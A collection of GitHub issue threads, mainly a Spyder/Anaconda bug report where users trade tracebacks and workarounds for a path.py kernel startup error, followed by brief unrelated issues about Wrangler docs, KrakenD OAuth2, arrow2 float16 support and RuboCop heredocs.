from IPython.kernel.zmq.kernelapp import IPKernelApp
File "pyzo2014a/lib/python3.4/site‑packages/IPython/__init__.py", line 48, in
from .terminal.embed import embed
File "pyzo2014a/lib/python3.4/site‑packages/IPython/terminal/embed.py", line 16, in
from IPython.core.interactiveshell import DummyMod
File "pyzo2014a/lib/python3.4/site‑packages/IPython/core/interactiveshell.py", line 31, in
from pickleshare import PickleShareDB
File "pyzo2014a/lib/python3.4/site‑packages/pickleshare.py", line 41, in
from path import path as Path
File "pyzo2014a/lib/python3.4/site‑packages/path.py", line 122, in
__version__ = pkg_resources.require('path.py')[0].version
TypeError: 'NoneType' object is not callable

Please provide any additional information below
Version and main components

Spyder Version: 2.3.6
Python Version: 3.4.3
Qt Versions:  4.8.6, PyQt4 (API v2) 4.11.3 on Linux

Optional dependencies
pyflakes >=0.6.0:  0.9.2 (OK)
pep8 >=0.6      :  1.6.2 (OK)
pygments >=1.6  :  2.0.2 (OK)
IPython >=1.0   :  4.0.0 (OK)
zmq >=2.1.11    :  14.7.0 (OK)
qtconsole >=4.0 :  4.0.1 (OK)
pandas >=0.13.1 :  0.16.2 (OK)
sphinx >=0.6.6  :  1.2.3 (OK)
psutil >=0.3    :  2.2.1 (OK)
rope >=0.9.2    :  0.9.4-1 (OK)
jedi >=0.8.1    :  0.9.0 (OK)
matplotlib >=1.0:  1.4.3 (OK)
sympy >=0.7.3   :  <IP_ADDRESS> (OK)
pylint >=0.25   :  0.25.1 (OK)

This clearly seems an issue with pyzo, not with Spyder, so please report this error with them.

Hi, I just installed anaconda from skretch as suggested in #2680. Right after installation it worked.
Than I made a conda update --all (so getting ipython 4.0.0 and spyder 2.3.6) and i got the same behaviour as with pyzo.
This is the update process I made, maybe here this can help to understand which package is causing the probel?:
./conda update --all
Fetching package metadata: ....
Solving package specifications: .
Package plan for installation in environment /home/diti/anaconda3:
The following packages will be downloaded:
package                    |            build
---------------------------|-----------------
nbconvert-4.0.0            |           py34_0         269 KB
odo-0.3.3                  |       np19py34_0         157 KB
blaze-core-0.8.2           |       np19py34_0         348 KB
notebook-4.0.4             |           py34_0         4.2 MB
qtconsole-4.0.1            |           py34_0         128 KB
ipython-notebook-4.0.4     |           py34_0           5 KB
ipython-qtconsole-4.0.1    |           py34_0           4 KB
spyder-2.3.6               |           py34_0         2.7 MB
spyder-app-2.3.6           |           py34_0           7 KB
------------------------------------------------------------
                                       Total:         7.8 MB

The following NEW packages will be INSTALLED:
funcsigs:          0.4-py34_0
ipykernel:         4.0.3-py34_0
ipython_genutils:  0.1.0-py34_0
jupyter_client:    4.0.0-py34_0
jupyter_core:      4.0.4-py34_0
krb5:              1.13.2-0
libgfortran:       1.0-0
nbconvert:         4.0.0-py34_0
nbformat:          4.0.0-py34_0
notebook:          4.0.4-py34_0
openblas:          0.2.14-1
patchelf:          0.6-0
path.py:           7.6-py34_0
pbr:               1.3.0-py34_0
pexpect:           3.3-py34_0
pickleshare:       0.5-py34_0
qtconsole:         4.0.1-py34_0
simplegeneric:     0.8.1-py34_0
traitlets:         4.0.0-py34_0
wheel:             0.24.0-py34_0

The following packages will be UPDATED:
argcomplete:       0.8.9-py34_0      --> 0.9.0-py34_0
astropy:           1.0.3-np19py34_0  --> 1.0.4-np19py34_0
bcolz:             0.9.0-np19py34_0  --> 0.10.0-np19py34_0
binstar:           0.11.0-py34_0     --> 0.12-2
blaze-core:        0.8.0-np19py34_0  --> 0.8.2-np19py34_0
bokeh:             0.9.0-np19py34_0  --> 0.9.3-np19py34_0
cffi:              1.1.0-py34_0      --> 1.1.2-py34_0
clyent:            0.3.4-py34_0      --> 0.4.0-py34_0
conda:             3.14.1-py34_0     --> 3.16.0-py34_0
conda-build:       1.14.1-py34_0     --> 1.17.0-py34_0
conda-env:         2.2.3-py34_0      --> 2.4.2-py34_0
cryptography:      0.9.1-py34_0      --> 0.9.3-py34_0
curl:              7.43.0-0          --> 7.43.0-1
cython:            0.22.1-py34_0     --> 0.23.1-py34_0
datashape:         0.4.5-np19py34_0  --> 0.4.6-np19py34_0
decorator:         3.4.2-py34_0      --> 4.0.2-py34_0
ipython:           3.2.0-py34_0      --> 4.0.0-py34_0
ipython-notebook:  3.2.0-py34_0      --> 4.0.4-py34_0
ipython-qtconsole: 3.2.0-py34_0      --> 4.0.1-py34_0
jedi:              0.8.1-py34_0      --> 0.9.0-py34_0
jinja2:            2.7.3-py34_1      --> 2.8-py34_0
llvmlite:          0.5.0-py34_0      --> 0.6.0-py34_0
mistune:           0.5.1-py34_1      --> 0.7.1-py34_0
mock:              1.0.1-py34_0      --> 1.3.0-py34_0
multipledispatch:  0.4.7-py34_0      --> 0.4.8-py34_0
networkx:          1.9.1-py34_0      --> 1.10-py34_0
nltk:              3.0.3-np19py34_0  --> 3.0.4-np19py34_0
numba:             0.19.1-np19py34_0 --> 0.20.0-np19py34_0
numpy:             1.9.2-py34_0      --> 1.9.2-py34_1
odo:               0.3.2-np19py34_0  --> 0.3.3-np19py34_0
openpyxl:          1.8.5-py34_0      --> 2.0.2-py34_0
patsy:             0.3.0-np19py34_0  --> 0.4.0-np19py34_0
pillow:            2.8.2-py34_0      --> 2.9.0-py34_0
pip:               7.0.3-py34_0      --> 7.1.2-py34_0
py:                1.4.27-py34_0     --> 1.4.30-py34_0
pytables:          3.2.0-np19py34_0  --> <IP_ADDRESS>-np19py34_0
pytest:            2.7.1-py34_0      --> 2.7.2-py34_0
scipy:             0.15.1-np19py34_0 --> 0.16.0-np19py34_1
setuptools:        17.1.1-py34_0     --> 18.1-py34_0
spyder:            <IP_ADDRESS>-py34_0    --> 2.3.6-py34_0
spyder-app:        <IP_ADDRESS>-py34_0    --> 2.3.6-py34_0
sqlalchemy:        1.0.5-py34_0      --> 1.0.8-py34_0
sympy:             0.7.6-py34_0      --> <IP_ADDRESS>-py34_0
toolz:             0.7.2-py34_0      --> 0.7.4-py34_0
tornado:           4.2-py34_0        --> 4.2.1-py34_0
xlrd:              0.9.3-py34_0      --> 0.9.4-py34_0

I really don't understand why you're getting the same error as the pyzo one, if pyzo is not part of Anaconda :-)

Please post the exact error you're getting with Anaconda :-)

Hi
Error in sitecustomize; set PYTHONVERBOSE for traceback:
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
File "/mnt/disk2/opt/anaconda3/lib/python3.4/site‑packages/spyderlib/widgets/externalshell/start_ipython_kernel.py", line 175, in
from IPython.kernel.zmq.kernelapp import IPKernelApp
File "/mnt/disk2/opt/anaconda3/lib/python3.4/site‑packages/IPython/init.py", line 48, in
from .terminal.embed import embed
File "/mnt/disk2/opt/anaconda3/lib/python3.4/site‑packages/IPython/terminal/embed.py", line 16, in
from IPython.core.interactiveshell import DummyMod
File "/mnt/disk2/opt/anaconda3/lib/python3.4/site‑packages/IPython/core/interactiveshell.py", line 31, in
from pickleshare import PickleShareDB
File "/mnt/disk2/opt/anaconda3/lib/python3.4/site‑packages/pickleshare.py", line 41, in
from path import path as Path
File "/mnt/disk2/opt/anaconda3/lib/python3.4/site‑packages/path.py", line 122, in
version = pkg_resources.require('path.py')[0].version
TypeError: 'NoneType' object is not callable

I really don't know what's happening, sorry.
Couldn't you stay on Anaconda 2.3 for the moment? I mean, if that's working for you, you should stay there :-)

I was just interested in spyder 2.3.6 instead of <IP_ADDRESS> because it fixed this
issue https://github.com/spyder-ide/spyder/issues/2593.
But of course I can wait for the moment.
Thanks anyway

Then please run
conda update spyder

to only update Spyder :-)

So first I did
./conda update spyder and I got same problems, probably because of these dependencies
The following NEW packages will be INSTALLED:
ipykernel:        4.0.3-py34_0
ipython_genutils: 0.1.0-py34_0
jupyter_client:   4.0.0-py34_0
jupyter_core:     4.0.4-py34_0
nbconvert:        4.0.0-py34_0
nbformat:         4.0.0-py34_0
path.py:          7.6.1-py34_0
pexpect:          3.3-py34_0
pickleshare:      0.5-py34_0
qtconsole:        4.0.1-py34_0
simplegeneric:    0.8.1-py34_0
traitlets:        4.0.0-py34_0
wheel:            0.24.0-py34_0

The following packages will be UPDATED:
conda:            3.14.1-py34_0  --> 3.17.0-py34_0
conda-env:        2.2.3-py34_0   --> 2.4.2-py34_0
decorator:        3.4.2-py34_0   --> 4.0.2-py34_0
ipython:          3.2.0-py34_0   --> 4.0.0-py34_0
jedi:             0.8.1-py34_0   --> 0.9.0-py34_0
jinja2:           2.7.3-py34_1   --> 2.8-py34_0
mistune:          0.5.1-py34_1   --> 0.7.1-py34_0
pip:              7.0.3-py34_0   --> 7.1.2-py34_0
setuptools:       17.1.1-py34_0  --> 18.1-py34_0
spyder:           <IP_ADDRESS>-py34_0 --> 2.3.6-py34_0

afterwards I tried with
./conda update --no-deps spyder
and finally I got 2.3.6 working.
The following issue:
https://github.com/spyder-ide/spyder/issues/2680#issuecomment-140668217
is still there, but this is minor it is not need and we survive without.
Thanks

I'm glad to know that you were able to workaround this problem :-) I'll take a closer look at this issue and I'll try to fix for 2.3.7

Ok, according to this post:
http://stackoverflow.com/questions/32155633/error-while-starting-new-ipython-console-in-spyder
this problem has nothing to do with Spyder, and it is solved by running
conda update setuptools

in case you're using Anaconda. If not, you just need to update setuptools to its latest version to fix it.

Hm...I think that's the issue for me though. I think I had a similar problem where I've also tried conda update setuptools on my terminal, but the issue still lingers. Is it a separate problem? (Trying to learn Python and this issue isn't helping me get started...)
What's shown on the IPython console (below):
An error ocurred while starting the kernel
Error in sitecustomize; set PYTHONVERBOSE for traceback:
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
File "/Users/guest/anaconda/lib/python3.4/site‑packages/spyderlib/widgets/externalshell/start_ipython_kernel.py", line 175, in
from IPython.kernel.zmq.kernelapp import IPKernelApp
File "/Users/guest/anaconda/lib/python3.4/site‑packages/IPython/init.py", line 48, in
from .terminal.embed import embed
File "/Users/guest/anaconda/lib/python3.4/site‑packages/IPython/terminal/embed.py", line 16, in
from IPython.core.interactiveshell import DummyMod
File "/Users/guest/anaconda/lib/python3.4/site‑packages/IPython/core/interactiveshell.py", line 31, in
from pickleshare import PickleShareDB
File "/Users/guest/anaconda/lib/python3.4/site‑packages/pickleshare.py", line 41, in
from path import path as Path
File "/Users/guest/anaconda/lib/python3.4/site‑packages/path.py", line 123, in
version = pkg_resources.require('path.py')[0].version
TypeError: 'NoneType' object is not callable

@leekahung, please run the command I mentioned in my last comment to fix this problem.

@ccordoba12 - I'm have the same issue and I have run:
conda update setuptools
conda reports it's already up to date.

@ccordoba12, I’m getting the exact same error message as @leekahung posted and had similar experience as @steve28. Somedays, I wouldn’t see it, other days, I would get it every time. On one of those bad days, I tried three different installations for experimentation:

Anaconda3-2.3.0-Linux-x86_64.sh -- no error
Anaconda3-2.3.0-Linux-x86_64.sh + conda update --all -- produces error
Anaconda3-2.3.0-Linux-x86_64.sh + conda update spyder -- produces error

However, in the 2nd and 3rd cases, I did notice something that might be helpful: when I deleted my ~/.spyder2-py3 directory, spyder started without that error. When I left that directory in place -- even without making any custom settings -- it gave that error. I experimented with that at least 15 times.
As a temporary work-around, I edited the file: .../anaconda/lib/python3.4/site packages/path.py. I simply added the except TypeError: logic:
try:
    import pkg_resources
    __version__ = pkg_resources.require('path.py')[0].version
except ImportError:
    __version__ = 'unknown'
except pkg_resources.DistributionNotFound:
    __version__ = 'unknown'
except TypeError:
    __version__ = 'unknown'

I'm sure that's not the right fix, but it gets me running for now.

Same problem here (anaconda packages + conda updates) @twmacro solution above fixed it

I had the same problem. Spyder was working fine, I just tried to resize the variable explorer, and closed something by mistake. I'm not sure what happened but the tabs underneath disappeared. Thats when I  started getting the error message like leekahung. Opening new consoles and restarting kernels kept giving the same error.
Updating conda, spyder and setuptools did not fix the problem. @twmacro 's method of adding except TypeError fixed the issue. Sorry, I can't tell what exactly I clicked in spyder to cause the problem, but others might be doing the same without realizing it.

I'm having exactly the same issue. works perfect with fresh anaconda, then I installed joblib using conda, and I start having the issue.

Still have the same problem with spyder 2.3.7. But I can confirm that twmacro commented on Oct 11 worked also for me.

same problem. Tried the measure mentioned by @ccordoba12  -- it did not work

Hi @DSLituiev was the same for me, the one mentioned by @twmacro should work right? Well is just a temporary fix, is probably not the right solution but at least it works...

thank you @Diti24 and  @twmacro!
It looks like it works (restarted kernel 7 times with no problem; earlier failed after third time or so).

I’m seeing this same behavior with  Anaconda3-2.4.0-Linux-x86_64.sh. I made the same fix as I indicated above and that works.
I stumbled on another apparent fix while I attempted to follow this through with a debugger (python -m pdb spyder). The second fix is to unpack the setuptools egg file:
cd anaconda3/lib/python3.5/site-packages
unzip setuptools-18.4-py3.5.egg
rm setuptools-18.4-py3.5.egg   # doesn’t appear to be necessary

The other little tidbit I learned through trying to debug this is that the parent python process has no trouble getting through path.py. It’s the child process, but interestingly, it appears to be the second pass through path.py of that child process. I determined that by printing “here” statements with process id to a file from within path.py. However, when the setuptools egg file is unpacked as above or if my first fix from Oct 10 (see above) is used, there doesn’t appear to be a second pass at all.
I don’t know if any of that info might help the developer, but I hope.

@twmacro, thanks for all your work to solve this problem. I'm going to use your October 10 proposed solution to patch the path.py version that comes with Anaconda (yep, I'm a Continuum employee too ;-)
There's going to be a new Anaconda release (2.4.1) in December, so this is the perfect time to fix it!

@ccordoba12, fantastic! :-)

Thank you everyone for your hard work! While I'm good at the moment with temporary fixes, I'm looking forward to the new patch!

I'm still having this issue with Anaconda 2.5.0 and Spyder 2.3.8. Looking into the path.py file, it looks like it was not updated. Was the patch made as planned ?

Hello,
I'm having the same issue with conda 3.19.3 and spyder Spyder 2.3.8. When restarting the IPython console, the error log is below. Note that restarting Spyder works (no IPython crash).
An error ocurred while starting the kernel
Vendor: Continuum Analytics, Inc.
Package: mkl
Message: trial mode expires in 29 days
Error in sitecustomize; set PYTHONVERBOSE for traceback:
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
File "/home/hash/anaconda3/lib/python3.5/site‑packages/spyderlib/widgets/externalshell/start_ipython_kernel.py", line 183, in
from IPython.kernel.zmq.kernelapp import IPKernelApp
File "/home/hash/anaconda3/lib/python3.5/site‑packages/IPython/__init__.py", line 49, in
from .terminal.embed import embed
File "/home/hash/anaconda3/lib/python3.5/site‑packages/IPython/terminal/embed.py", line 16, in
from IPython.core.interactiveshell import DummyMod
File "/home/hash/anaconda3/lib/python3.5/site‑packages/IPython/core/interactiveshell.py", line 31, in
from pickleshare import PickleShareDB
File "/home/hash/anaconda3/lib/python3.5/site‑packages/pickleshare.py", line 41, in
from path import path as Path
File "/home/hash/anaconda3/lib/python3.5/site‑packages/path.py", line 123, in
__version__ = pkg_resources.require('path.py')[0].version
TypeError: 'NoneType' object is not callable

Hello,
Same problem here. Using Spyder 2.3.8 and Python 3.5.1 in an environment under Anaconda 2.5.0. Everything is up to date (setuptools, spyder, ipython, etc.).
Note error appears also just by opening a 2nd ipython console (Ctrl-T)
Error in sitecustomize; set PYTHONVERBOSE for traceback:
TypeError: 'NoneType' object is not callable
Traceback (most recent call last):
File "/home/uzer/anaconda/envs/p35/lib/python3.5/site-packages/spyderlib/widgets/externalshell/start_ipython_kernel.py", line 183, in
from IPython.kernel.zmq.kernelapp import IPKernelApp
File "/home/uzer/anaconda/envs/p35/lib/python3.5/site-packages/IPython/init.py", line 49, in
from .terminal.embed import embed
File "/home/uzer/anaconda/envs/p35/lib/python3.5/site-packages/IPython/terminal/embed.py", line 16, in
from IPython.core.interactiveshell import DummyMod
File "/home/uzer/anaconda/envs/p35/lib/python3.5/site-packages/IPython/core/interactiveshell.py", line 31, in
from pickleshare import PickleShareDB
File "/home/edonoso/anaconda/envs/p35/lib/python3.5/site-packages/pickleshare.py", line 41, in
from path import path as Path
File "/home/uzer/anaconda/envs/p35/lib/python3.5/site-packages/path.py", line 123, in
version = pkg_resources.require('path.py')[0].version
TypeError: 'NoneType' object is not callable

@samotracio, could you run
conda update path.py

to see if that fixes the problem?

@ccordoba12 : yeap, that solved the problem! Thanks!
But note I had to force the update, as I was already running path.py 8.1.2

conda update -f path.py
Using Anaconda Cloud api site https://api.anaconda.org
Fetching package metadata: ....
Solving package specifications: ...............
Package plan for installation in environment /home/uzer/anaconda/envs/p35:
The following packages will be UPDATED:
path.py: 8.1.2-py35_1 --> 8.1.2-py35_1

I see, glad it fixed it for you ;-)

Related but slightly different error here; I encountered this when starting with a clean Ubuntu 15.04 vm and installing anaconda off the website. Firing up spyder, I get this:
Error in sitecustomize; set PYTHONVERBOSE for traceback:
AttributeError: module 'pkg_resources' has no attribute 'DistributionNotFound'
Traceback (most recent call last):
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/path.py", line 123, in
version = pkg_resources.require('path.py')[0].version
AttributeError: module 'pkg_resources' has no attribute 'require'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/spyderlib/widgets/externalshell/start_ipython_kernel.py", line 183, in
from IPython.kernel.zmq.kernelapp import IPKernelApp
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/IPython/__init__.py", line 49, in
from .terminal.embed import embed
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/IPython/terminal/embed.py", line 16, in
from IPython.core.interactiveshell import DummyMod
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/IPython/core/interactiveshell.py", line 31, in
from pickleshare import PickleShareDB
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/pickleshare.py", line 41, in
from path import path as Path
File "/home/ubuntu/anaconda3/lib/python3.5/site‑packages/path.py", line 126, in
except pkg_resources.DistributionNotFound:
AttributeError: module 'pkg_resources' has no attribute 'DistributionNotFound'

I tried the forced update of path.py, and initially it worked, but after doing a conda update all, it broke again, and the forced update of path.py won't fix it. Any thoughts?

A little further info: uninstalled everything, rebooted, reinstalled. Run spyder, everything works great off the bat. Shutdown spyder. reboot, launch spyder again, get error shown above. Not sure how to interpret this, other than some setting or flag doesn't persist through a reboot...

@andybrnr, please run
conda update path.py

That should fix your error :-)

Hi ccordoba12, thanks for the response. I've tried that--already on 8.1.2 for path, and update -f to rewrite it had no effect. So I don't know if this is a variant of the old issue or something different, but no dice on the old fix. Thoughts?

Also, seems there's the issue of multiple consoles. I've intermittently gotten it to open ok, but right-click open new console fails with the error above.

Ok, so it seems like somehow the method "require" used to be None, but now simply doesn't exist? The fact that the error used to be "NoneType is not executable" was a failure means the attribute was None. When it then fell through to the excepts, the patch handles the NoneType. Now the except statement was causing the error, as trying to evaluate pkg_resources.DistributionNotFound threw an AttributeError (no longer exists?). I patched by putting an "except AttributeError" above the pkg_resources.DistributionNotFound like so:
try:
    import pkg_resources
    __version__ = pkg_resources.require('path.py')[0].version
except ImportError:
    __version__ = 'unknown'
#hack fix 2016-4-6
except AttributeError:
    __version__='unknown'
#end hack
except pkg_resources.DistributionNotFound:
    __version__ = 'unknown'
except:
    __version__ = 'unknown'

This has fixed the issue for me.

I don't understand the big picture here with what is going on in the code, but from just looking at that try-except block, I'd prefer just this:
try:
    import pkg_resources
    __version__ = pkg_resources.require('path.py')[0].version
except:
    __version__ = 'unknown'

@andybrnr, what about the (much simpler) @twmacro proposal? Does it fix the problem for you too?

I'll try it when I'm back at my work box tomorrow. Based on how I understand the code to be failing, I'm pretty sure that will work fine. I'm curious what functionality this section was intended to achieve, but simply setting version='unknown' doesn't seem to break anything important.

Yeah, that works fine. Would recommend this solution for a final patch.

I'm also getting a similar error:
An error ocurred while starting the kernel
'import sitecustomize' failed; use ‑v for traceback
Traceback (most recent call last):
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 231, in
main()
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 204, in main
from ipykernel.kernelapp import IPKernelApp
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/__init__.py", line 2, in
from .connect import *
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/connect.py", line 13, in
from IPython.core.profiledir import ProfileDir
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/__init__.py", line 48, in
from .core.application import Application
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/application.py", line 25, in
from IPython.core import release, crashhandler
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/crashhandler.py", line 28, in
from IPython.core import ultratb
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/ultratb.py", line 119, in
from IPython.core import debugger
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/debugger.py", line 37, in
from IPython.utils import PyColorize, ulinecache
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/ulinecache.py", line 11, in
from IPython.utils import openpy
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/openpy.py", line 10, in
from io import TextIOWrapper, BytesIO
ImportError: cannot import name TextIOWrapper
'import sitecustomize' failed; use ‑v for traceback
Traceback (most recent call last):
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 231, in
main()
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 204, in main
from ipykernel.kernelapp import IPKernelApp
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/__init__.py", line 2, in
from .connect import *
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/connect.py", line 13, in
from IPython.core.profiledir import ProfileDir
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/__init__.py", line 48, in
from .core.application import Application
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/application.py", line 25, in
from IPython.core import release, crashhandler
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/crashhandler.py", line 28, in
from IPython.core import ultratb
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/ultratb.py", line 119, in
from IPython.core import debugger
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/debugger.py", line 37, in
from IPython.utils import PyColorize, ulinecache
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/ulinecache.py", line 11, in
from IPython.utils import openpy
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/openpy.py", line 10, in
from io import TextIOWrapper, BytesIO
ImportError: cannot import name TextIOWrapper
'import sitecustomize' failed; use ‑v for traceback
Traceback (most recent call last):
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 231, in
main()
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 204, in main
from ipykernel.kernelapp import IPKernelApp
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/__init__.py", line 2, in
from .connect import *
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/connect.py", line 13, in
from IPython.core.profiledir import ProfileDir
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/__init__.py", line 48, in
from .core.application import Application
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/application.py", line 25, in
from IPython.core import release, crashhandler
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/crashhandler.py", line 28, in
from IPython.core import ultratb
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/ultratb.py", line 119, in
from IPython.core import debugger
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/debugger.py", line 37, in
from IPython.utils import PyColorize, ulinecache
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/ulinecache.py", line 11, in
from IPython.utils import openpy
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/openpy.py", line 10, in
from io import TextIOWrapper, BytesIO
ImportError: cannot import name TextIOWrapper
'import sitecustomize' failed; use ‑v for traceback
Traceback (most recent call last):
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 231, in
main()
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 204, in main
from ipykernel.kernelapp import IPKernelApp
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/__init__.py", line 2, in
from .connect import *
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/connect.py", line 13, in
from IPython.core.profiledir import ProfileDir
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/__init__.py", line 48, in
from .core.application import Application
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/application.py", line 25, in
from IPython.core import release, crashhandler
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/crashhandler.py", line 28, in
from IPython.core import ultratb
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/ultratb.py", line 119, in
from IPython.core import debugger
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/debugger.py", line 37, in
from IPython.utils import PyColorize, ulinecache
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/ulinecache.py", line 11, in
from IPython.utils import openpy
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/openpy.py", line 10, in
from io import TextIOWrapper, BytesIO
ImportError: cannot import name TextIOWrapper
'import sitecustomize' failed; use ‑v for traceback
Traceback (most recent call last):
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 231, in
main()
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/spyder/utils/ipython/start_kernel.py", line 204, in main
from ipykernel.kernelapp import IPKernelApp
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/__init__.py", line 2, in
from .connect import *
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/ipykernel/connect.py", line 13, in
from IPython.core.profiledir import ProfileDir
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/__init__.py", line 48, in
from .core.application import Application
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/application.py", line 25, in
from IPython.core import release, crashhandler
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/crashhandler.py", line 28, in
from IPython.core import ultratb
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/ultratb.py", line 119, in
from IPython.core import debugger
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/core/debugger.py", line 37, in
from IPython.utils import PyColorize, ulinecache
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/ulinecache.py", line 11, in
from IPython.utils import openpy
File "/home/mplain/anaconda2/envs/rootclone2/lib/python2.7/site‑packages/IPython/utils/openpy.py", line 10, in
from io import TextIOWrapper, BytesIO
ImportError: cannot import name TextIOWrapper

I've already tried updating conda, spyder and path.py and I'm still getting the issue. Any ideas?

Please post the result of
conda list

here to see if everything is in order.

Hey, my final hope (which you suggested in some google groups forum) was to reset Spyder (spyder --reset) which fixed it. Had to reset my preferences etc but it works now, sorry I have no idea what the issue was!

Glad spyder --reset worked for you!

I had the same problem. However, in my case, it was because I had a file with the same name as a core module, and python was trying to load the wrong file from my root. Changed the name, and it was back to normal.


Document dynamic import support in Wrangler

Which Cloudflare product(s) does this pertain to?
Workers
Subject Matter
--no-bundle and dynamic imports
Content Location
In the Wrangler section of the docs
Additional information
See https://github.com/cloudflare/workers-sdk/issues/417

Closed per https://github.com/cloudflare/cloudflare-docs/pull/12980


integrate with external OAuth2 server with authorization code flow

We have existing infrastructure using an external OAuth2 server. We would like to put KrakenD in front of our services as the API Gateway. We are using authorization code grant to generate access tokens. How do we integrate KrakenD? In the document there's only Client Credential grant type mentioned.

Hi @mango009,
Your access tokens generated by the OAuth2 server have to be validated using https://www.krakend.io/docs/authorization/jwt-validation/. Client credential is only for the private communication between KrakenD and your backend severs, but not between end users and KrakenD. Use JWT validation as described in the link


Native F16 support for arrow tensors

arrow2 currently does not support a native f16 primitive array. For now we are upscaling floats -> f32 in the client library, but would be ideal not to have to touch user-data.

We should create an up-stream issue for this in the arrow2 repository.
There is a DataType::Float16: https://docs.rs/arrow2/0.16.0/arrow2/datatypes/enum.DataType.html#variant.Float16

Blocked on this being merged and released:

https://github.com/DataEngineeringLabs/arrow2-convert/pull/104


Replace use of strip_indent with squiggly heredoc

The strip_indent method was removed from RuboCop in https://github.com/rubocop-hq/rubocop/pull/7323.
Since rubocop-rails has never supported Ruby 2.2, we can safely replace all instances of strip_indent with squiggly heredocs.

Before submitting the PR make sure the following are checked:

[x] Wrote good commit messages.
[x] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[x] ~Added tests~ Fixed tests. 😄
[x] Added an entry to the Changelog if the new code introduces user-observable changes. See changelog entry format.
[x] The PR relates to only one subject with a clear title
and description in grammatically correct, complete sentences.
